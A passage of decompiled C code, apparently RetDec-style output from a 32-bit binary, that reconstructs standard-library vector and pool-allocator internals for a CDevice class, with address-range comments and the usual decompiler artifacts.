__gnu_cxx____mt_alloc_lt_CDevice_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(); return result; } // Address range: 0x8074e14 - 0x8074e1d int32_t __gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___operator_ptr_(int32_t * a1) { // 0x8074e14 return *a1; } // Address range: 0x8074e1e - 0x8074e23 void __gnu_cxx____mt_alloc_base_lt_CDevice_gt_(void) { // 0x8074e1e return; } // Address range: 0x8074e3c - 0x8074e51 int32_t __gnu_cxx____mt_alloc_base_lt_CDevice_gt___destroy(int32_t a1) { // 0x8074e3c int32_t * v1; return CDevice_339((int32_t)v1); } // Address range: 0x8074e7a - 0x8074eb5 int32_t CDevice_341(int32_t result, int32_t a2) { int32_t v1 = a2; // bp-24 int32_t v2 = result; // bp-28 std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__636(&v2, &v1); g96 = result; *(int32_t *)(result + 4) = *(int32_t *)(a2 + 4); *(int16_t *)(g96 + 8) = *(int16_t *)(a2 + 8); g95 = a2; *(int32_t *)(result + 12) = *(int32_t *)(a2 + 12); return result; } // Address range: 0x8074eb6 - 0x8074f13 int32_t __gnu_cxx____mt_alloc_base_lt_CDevice_gt___construct(int32_t * a1, int32_t * a2) { int32_t result = _ZnwjPv((int32_t *)16); // 0x8074ec5 if (result != 0) { // 0x8074ed6 int32_t * v1; CDevice_341(result, (int32_t)v1); // branch -> 0x8074f0e } // 0x8074f0e return result; } // Address range: 0x8074f14 - 0x8074f23 int32_t __gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt_(int32_t * a1, int32_t * a2) { // 0x8074f14 *a1 = *a2; return (int32_t)a1; } // Address range: 0x8074f24 - 0x8074f47 int32_t std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___begin(int32_t * a1, int32_t * a2) { // 0x8074f24 __gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt_(a1, a2); return (int32_t)a1; } // Address range: 0x8074f48 - 0x8074f7b int32_t __gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___operator_(int32_t * a1, int32_t * a2, int32_t * a3) { int32_t v1 = *a2; // 0x8074f55 int32_t v2 = *a3; // 0x8074f5a __gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt_(a1, (int32_t *)(16 * v2 + v1)); return (int32_t)a1; } // Address range: 0x8074f7e - 0x8074fcf int32_t std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___operator_lsb__rsb_(int32_t * a1, int32_t * a2) { // 0x8074f7e int32_t * v1; std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___begin(v1, a1); int32_t * v2; __gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___operator_(v2, v1, a2); return __gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___operator_ptr_(v2); } // Address range: 0x8074fd0 - 0x8074ff3 int32_t std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___end(int32_t * a1, int32_t * a2) { // 0x8074fd0 __gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt_(a1, (int32_t *)((int32_t)a2 + 4)); return (int32_t)a1; } // Address range: 0x8074ff6 - 0x8075033 int32_t CDevice__operator_eq_(int32_t * a1, int32_t * a2) { int32_t v1 = (int32_t)a2; // 0x8074ffc int32_t result = (int32_t)a1; // 0x8074fff std__string__operator_eq__675(); *(int32_t *)(result + 4) = *(int32_t *)(v1 + 4); *(int16_t *)(result + 8) = *(int16_t *)(v1 + 8); g95 = result; *(int32_t *)(result + 12) = *(int32_t *)(v1 + 12); return result; } // Address range: 0x8075034 - 0x807503d int32_t std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___max_size(void) { // 0x8075034 return 0xfffffff; } // Address range: 0x807503e - 0x8075045 int32_t __gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___base(int32_t * a1) { // 0x807503e return (int32_t)a1; } // Address range: 0x8075046 - 0x807505b int32_t __gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___operator__(int32_t * a1) { // 0x8075046 *a1 = *a1 + 16; return (int32_t)a1; } // Address range: 0x807505c - 0x807506b int32_t __gnu_cxx____normal_iterator_lt_CDevice_const__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt_(int32_t * a1, int32_t * a2) { // 0x807505c *a1 = *a2; return (int32_t)a1; } // Address range: 0x807506c - 0x8075095 int32_t std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___end_342(int32_t * a1, int32_t a2) { int32_t v1 = *(int32_t *)(a2 + 4); // 0x8075079 __gnu_cxx____normal_iterator_lt_CDevice_const__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt_(a1, (int32_t *)v1); return (int32_t)a1; } // Address range: 0x8075098 - 0x80750c3 int32_t std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___begin_343(int32_t * a1, int32_t ** a2) { int32_t v1 = *(int32_t *)a2; // 0x80750a5 __gnu_cxx____normal_iterator_lt_CDevice_const__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt_(a1, (int32_t *)v1); return (int32_t)a1; } // Address range: 0x80750c4 - 0x80750cb int32_t __gnu_cxx____normal_iterator_lt_CDevice_const__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___base(int32_t * a1) { // 0x80750c4 return (int32_t)a1; } // Address range: 0x80750cc - 0x80750ff int32_t __gnu_cxx__operator_eq__eq__lt_CDevice_const__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt_(int32_t * a1, int32_t * a2) { int32_t v1 = __gnu_cxx____normal_iterator_lt_CDevice_const__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___base(a1); // 0x80750d9 int32_t v2 = __gnu_cxx____normal_iterator_lt_CDevice_const__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___base(a2); // 0x80750e9 int32_t v3 = *(int32_t *)v2; // 0x80750f1 int32_t result = *(int32_t *)v1 == v3; // 0x80750f5 g95 = result | v3 & -256; return result; } // Address range: 0x8075100 - 0x807514d int32_t std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___empty(int32_t * a1) { // 0x8075100 int32_t * v1; std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___end_342(v1, (int32_t)a1); int32_t * v2; std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___begin_343(v2, (int32_t **)a1); return __gnu_cxx__operator_eq__eq__lt_CDevice_const__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt_(v2, v1); } // Address range: 0x807514e - 0x8075185 int32_t __gnu_cxx__operator__lt_CDevice_const__ptr__comma__CDevice_const__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt_(int32_t * a1, int32_t * a2) { int32_t v1 = __gnu_cxx____normal_iterator_lt_CDevice_const__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___base(a1); // 0x807515b int32_t v2 = __gnu_cxx____normal_iterator_lt_CDevice_const__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___base(a2); // 0x807516d return (*(int32_t *)v1 - *(int32_t *)v2) / 16; } // Address range: 0x8075186 - 0x80751d1 int32_t std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___size(int32_t * a1) { // 0x8075186 int32_t * v1; std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___begin_343(v1, (int32_t **)a1); int32_t * v2; std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___end_342(v2, (int32_t)a1); return __gnu_cxx__operator__lt_CDevice_const__ptr__comma__CDevice_const__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt_(v2, v1); } // Address range: 0x80751d2 - 0x80751ed int32_t __gnu_cxx____mt_alloc_lt_CDevice_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__344(int32_t a1) { // 0x80751d2 __gnu_cxx____mt_alloc_base_lt_CDevice_gt_(); __gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool(); return 0x8132c20; } // Address range: 0x80751ee - 0x8075209 int32_t std__allocator_lt_CDevice_gt__345(int32_t a1, int32_t a2) { // 0x80751ee __gnu_cxx____mt_alloc_lt_CDevice_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__344(a1); return 0x8132c20; } // Address range: 0x807520a - 0x8075227 int32_t std___Vector_base_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___get_allocator(int32_t result, int32_t * a2) { // 0x807520a std__allocator_lt_CDevice_gt__345(result, (int32_t)a2); return result; } // Address range: 0x80752cc - 0x80752ff int32_t __gnu_cxx__operator_not__eq__lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt_(int32_t * a1, int32_t * a2) { int32_t v1 = __gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___base(a1); // 0x80752d9 int32_t v2 = *(int32_t *)v1; int32_t v3 = __gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___base(a2); // 0x80752e9 int32_t v4 = *(int32_t *)v3; // 0x80752f1 int32_t v5 = ((int32_t)(v2 == v4) | v4 & -256) ^ 1; // 0x80752f5 g95 = v5; return v5 % 2; } // Address range: 0x8075300 - 0x807534f int32_t std___Destroy_lt___gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt__comma__std__allocator_lt_CDevice_gt___gt_(int32_t * a1) { // 0x8075300 int32_t * v1; if (__gnu_cxx__operator_not__eq__lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt_(a1, v1) == 0) { // 0x807534d return 0; } __gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___operator_ptr_(a1); int32_t v2; __gnu_cxx____mt_alloc_base_lt_CDevice_gt___destroy(v2); __gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___operator__(a1); while (__gnu_cxx__operator_not__eq__lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt_(a1, v1) != 0) { // 0x8075308 __gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___operator_ptr_(a1); __gnu_cxx____mt_alloc_base_lt_CDevice_gt___destroy(v2); __gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___operator__(a1); // continue -> 0x8075308 } // 0x807534d return 0; } // Address range: 0x8075350 - 0x80753b1 int32_t __gnu_cxx____mt_alloc_lt_CDevice_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___deallocate(int32_t * a1, int32_t * a2, int32_t * a3) { // 0x8075350 if (((g95 & -256 || (int32_t)(a2 == NULL)) ^ 1) % 2 == 0) { // 0x80753b0 return 0; } // 0x8075364 __gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool(); int32_t v1 = 16 * (int32_t)a3; // 0x807536f int32_t result; // 0x80753b1_11 if (__gnu_cxx____pool_base___M_check_threshold((int32_t *)0x8132c20, (int32_t *)v1) == 0) { // 0x807539b int32_t v2; result = __gnu_cxx____pool_lt_true_gt____M_reclaim_block((struct struct_91 *)0x8132c20, (int32_t **)a2, (struct struct_88 *)v1, 0x8075369, v2, 0, 0, 0); // branch -> 0x80753b0 } else { // 0x807538b result = _ZdlPv(a2); // branch -> 0x80753b0 } // 0x80753b0 return result; } // Address range: 0x80753b2 - 0x80753d5 int32_t std___Vector_base_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt____M_deallocate(int32_t * a1, int32_t * a2, int32_t * a3) { // 0x80753b2 int32_t result; // 0x80753cb if (a2 != NULL) { // 0x80753be g95 = (int32_t)a1; result = __gnu_cxx____mt_alloc_lt_CDevice_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___deallocate(a1, a2, a3); // branch -> 0x80753d3 } // 0x80753d3 return result; } // Address range: 0x807550a - 0x8075513 int32_t __gnu_cxx____mt_alloc_base_lt_CDevice_gt___max_size(void) { // 0x807550a return 0xfffffff; } // Address range: 0x8075514 - 0x8075653 int32_t __gnu_cxx____mt_alloc_lt_CDevice_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___allocate(int32_t * a1, int32_t * a2) { // 0x8075514 __gnu_cxx____mt_alloc_base_lt_CDevice_gt___max_size(); g95 = a2 > (int32_t *)0xfffffff != false; if (a2 > (int32_t *)0xfffffff != false) { // 0x807553b std____throw_bad_alloc(); // branch -> 0x8075540 } // 0x8075540 int32_t v1; __gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_initialize_once(v1); __gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool(); int32_t v2 = 16 * (int32_t)a2; // 0x8075550 int32_t * v3 = (int32_t *)v2; // 0x8075553_0 int32_t result; if (__gnu_cxx____pool_base___M_check_threshold((int32_t *)0x8132c20, v3) != 0) { // 0x807556c int32_t * v4; result = _Znwj(v2, v2, (int32_t)v4); // branch -> 0x807564f // 0x807564f return result; } int32_t v5 = __gnu_cxx____pool_base___M_get_binmap((int32_t *)0x8132c20, v3); // 0x8075592 int32_t v6 = __gnu_cxx____pool_lt_true_gt____M_get_thread_id((int32_t *)0x8132c20); // 0x80755a3 int32_t ** v7 = (int32_t **)__gnu_cxx____pool_lt_true_gt____M_get_bin((int32_t *)0x8132c20, (int32_t *)v5); // 0x80755b7_4 int32_t * v8 = *v7; // 0x80755d0 if (((int32_t)(v8 == NULL) || (int32_t)v8 & -256) == 1) { // 0x8075632 result = __gnu_cxx____pool_lt_true_gt____M_reserve_block((struct struct_88 *)0x8132c20, v2, v6); // branch -> 0x807564f } else { int32_t * v9 = *v7; // 0x80755e9 *v7 = (int32_t *)*v9; __gnu_cxx____pool_lt_true_gt____M_adjust_freelist((int32_t *)0x8132c20, *v7, v9); int32_t v10 = __gnu_cxx____pool_base___M_get_align((int32_t *)0x8132c20) + (int32_t)v9; // 0x807562a result = v10; // branch -> 0x807564f } // 0x807564f return result; } // Address range: 0x8075654 - 0x807566f int32_t std___Vector_base_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt____M_allocate(int32_t * a1, int32_t * a2) { // 0x8075654 return __gnu_cxx____mt_alloc_lt_CDevice_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___allocate(a1, a2); } // Address range: 0x8075670 - 0x80756b7 int32_t std____copy_backward_lt_false_comma__std__random_access_iterator_tag_gt___copy_b_lt_CDevice__ptr__comma__CDevice__ptr__gt_(int32_t * a1, int32_t * a2, int32_t * a3) { int32_t v1 = (int32_t)a2 - (int32_t)a1; // 0x807567e int32_t v2 = v1 / 16; // 0x8075682 g95 = v2; if (v1 <= 15) { // 0x80756b2 return (int32_t)a3; } int32_t * v3 = (int32_t *)((int32_t)a2 - 16); // 0x807568d_3 int32_t * v4 = (int32_t *)((int32_t)a3 - 16); // 0x8075693_3 CDevice__operator_eq_(v4, v3); while (v2 > 1) { // 0x807568a v2--; v3 = (int32_t *)((int32_t)v3 - 16); v4 = (int32_t *)((int32_t)v4 - 16); CDevice__operator_eq_(v4, v3); // continue -> 0x807568a } // 0x80756b2 return (int32_t)v4; } // Address range: 0x80756b8 - 0x80756d7 void std____copy_backward_aux_lt_CDevice__ptr__comma__CDevice__ptr__gt_(int32_t * a1, int32_t * a2, int32_t * a3) { // 0x80756b8 std____copy_backward_lt_false_comma__std__random_access_iterator_tag_gt___copy_b_lt_CDevice__ptr__comma__CDevice__ptr__gt_(a1, a2, a3); } // Address range: 0x80756d8 - 0x8075741 int32_t std____copy_backward_normal_lt_true_comma__true_gt___copy_b_n_lt___gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___gt_(int32_t * a1, int32_t * a2) { int32_t result = (int32_t)a1; int32_t * v1; __gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___base(v1); int32_t * v2; int32_t v3 = (int32_t)v2; // 0x80756f3 int32_t * v4; __gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___base(v4); __gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___base(a2); std____copy_backward_aux_lt_CDevice__ptr__comma__CDevice__ptr__gt_(v2, (int32_t *)v3, (int32_t *)v3); __gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt_((int32_t *)result, (int32_t *)g95); return result; } // Address range: 0x8075744 - 0x807577f int32_t std__copy_backward_lt___gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4) { int32_t v1 = g101; // 0x8075747 g101 = (int32_t)a1; int32_t * v2; std____copy_backward_normal_lt_true_comma__true_gt___copy_b_n_lt___gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___gt_(v2, a2); *(int32_t *)g101 = (int32_t)v2; int32_t result = g101; // 0x8075774 g101 = v1; return result; } // Address range: 0x8075780 - 0x80757dd int32_t std___Construct_lt_CDevice_comma__CDevice_gt_(int32_t * a1, int32_t * a2) { int32_t result = _ZnwjPv((int32_t *)16); // 0x807578f if (result != 0) { // 0x80757a0 CDevice_341(result, (int32_t)a2); // branch -> 0x80757d8 } // 0x80757d8 return result; } // Address range: 0x80757de - 0x80757f3 int32_t std___Destroy_lt_CDevice_gt_(struct struct_3 * a1) { // 0x80757de return CDevice_339((int32_t)a1); } // Address range: 0x80757f4 - 0x807583f int32_t std____destroy_aux_lt___gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___gt_(void) { // 0x80757f4 int32_t * v1; int32_t * v2; if (__gnu_cxx__operator_not__eq__lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt_(v1, v2) == 0) { // 0x807583d return 0; } struct struct_3 * v3 = (struct struct_3 *)__gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___operator_ptr_(v1); // 0x8075803_3 std___Destroy_lt_CDevice_gt_(v3); __gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___operator__(v1); while (__gnu_cxx__operator_not__eq__lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt_(v1, v2) != 0) { // 0x80757fc v3 = (struct struct_3 *)__gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___operator_ptr_(v1); std___Destroy_lt_CDevice_gt_(v3); __gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___operator__(v1); // continue -> 0x80757fc } // 0x807583d return 0; } // Address range: 0x8075864 - 0x8075925 int32_t std____uninitialized_copy_aux_lt___gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2) { int32_t result = (int32_t)a1; // 0x807586e int32_t * v1; *a1 = v1; int32_t * v2; if (__gnu_cxx__operator_not__eq__lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt_(a2, v2) == 0) { // 0x807591b return result; } g98 = __gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___operator_ptr_(a2); std___Construct_lt_CDevice_comma__CDevice_gt_((int32_t *)__gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___operator_ptr_((int32_t *)a1), (int32_t *)g98); __gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___operator__(a2); __gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___operator__((int32_t *)a1); while (__gnu_cxx__operator_not__eq__lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt_(a2, v2) != 0) { // 0x8075875 g98 = __gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___operator_ptr_(a2); std___Construct_lt_CDevice_comma__CDevice_gt_((int32_t *)__gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___operator_ptr_((int32_t *)a1), (int32_t *)g98); __gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___operator__(a2); __gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___operator__((int32_t *)a1); // continue -> 0x8075875 } // 0x807591b return result; } // Address range: 0x8075926 - 0x8075969 int32_t std__uninitialized_copy_lt___gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4) { int32_t v1 = g101; // 0x8075929 g101 = (int32_t)a1; int32_t ** v2; std____uninitialized_copy_aux_lt___gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___gt_(v2, a2); *(int32_t *)g101 = (int32_t)v2; int32_t result = g101; // 0x807595e g101 = v1; return result; } // Address range: 0x807596a - 0x807599d int32_t std____uninitialized_copy_a_lt___gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt__comma__CDevice_gt_(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4) { int32_t v1 = g101; // 0x807596d g101 = (int32_t)a1; int32_t ** v2; std__uninitialized_copy_lt___gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___gt_(v2, a2, a3, a4); *(int32_t *)g101 = (int32_t)v2; int32_t result = g101; // 0x8075992 g101 = v1; return result; } // Address range: 0x807599e - 0x8075e1b int32_t std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt____M_insert_aux(struct struct_12 * a1, int32_t * a2, int32_t * a3) { struct struct_3 * v1 = NULL; // bp-84 int32_t v2 = g101; // 0x80759a1 int32_t v3 = g98; // 0x80759a2 int32_t * v4; // 0x8075e1b_11 if (a1->e1 == a1->e2) { int32_t v5 = std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___size((int32_t *)a1); // 0x8075aaf std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___max_size(); int32_t * v6; int32_t v7; std____throw_length_error("vector::_M_insert_aux", v7, 0, (int32_t)v6); int32_t * v8 = (int32_t *)1; if (v5 != 0) { // 0x8075ae5 v8 = (int32_t *)(2 * v5); // branch -> 0x8075af6 } int32_t * v9 = v8; // 0x8075e07_02 if (v8 < (int32_t *)v5) { // 0x8075b04 std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___max_size(); v9 = (int32_t *)0xfffffff; // branch -> 0x8075b15 } // 0x8075b15 int32_t * v10; __gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt_(v10, (int32_t *)std___Vector_base_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt____M_allocate((int32_t *)a1, v9)); int32_t v11; std___Vector_base_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___get_allocator(v11, (int32_t *)a1); g98 = (int32_t)v10; g101 = (int32_t)a2; int32_t * v12; __gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt_(v12, (int32_t *)a1); int32_t ** v13; std____uninitialized_copy_a_lt___gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt__comma__CDevice_gt_(v13, v12, (int32_t *)g101, (int32_t *)g98); std__allocator_lt_CDevice_gt_(v11); __gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___base((int32_t *)v13); int32_t * v14; __gnu_cxx____mt_alloc_base_lt_CDevice_gt___construct((int32_t *)a1, v14); __gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___operator__((int32_t *)v13); int32_t v15; std___Vector_base_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___get_allocator(v15, (int32_t *)a1); g98 = (int32_t)v13; int32_t * v16; __gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt_(v16, (int32_t *)((int32_t)a1 + 4)); int32_t ** v17; std____uninitialized_copy_a_lt___gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt__comma__CDevice_gt_(v17, a2, v16, (int32_t *)g98); std__allocator_lt_CDevice_gt_(v15); int32_t v18; std___Vector_base_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___get_allocator(v18, (int32_t *)a1); int32_t * v19; std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___end(v19, (int32_t *)a1); int32_t * v20; std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___begin(v20, (int32_t *)a1); 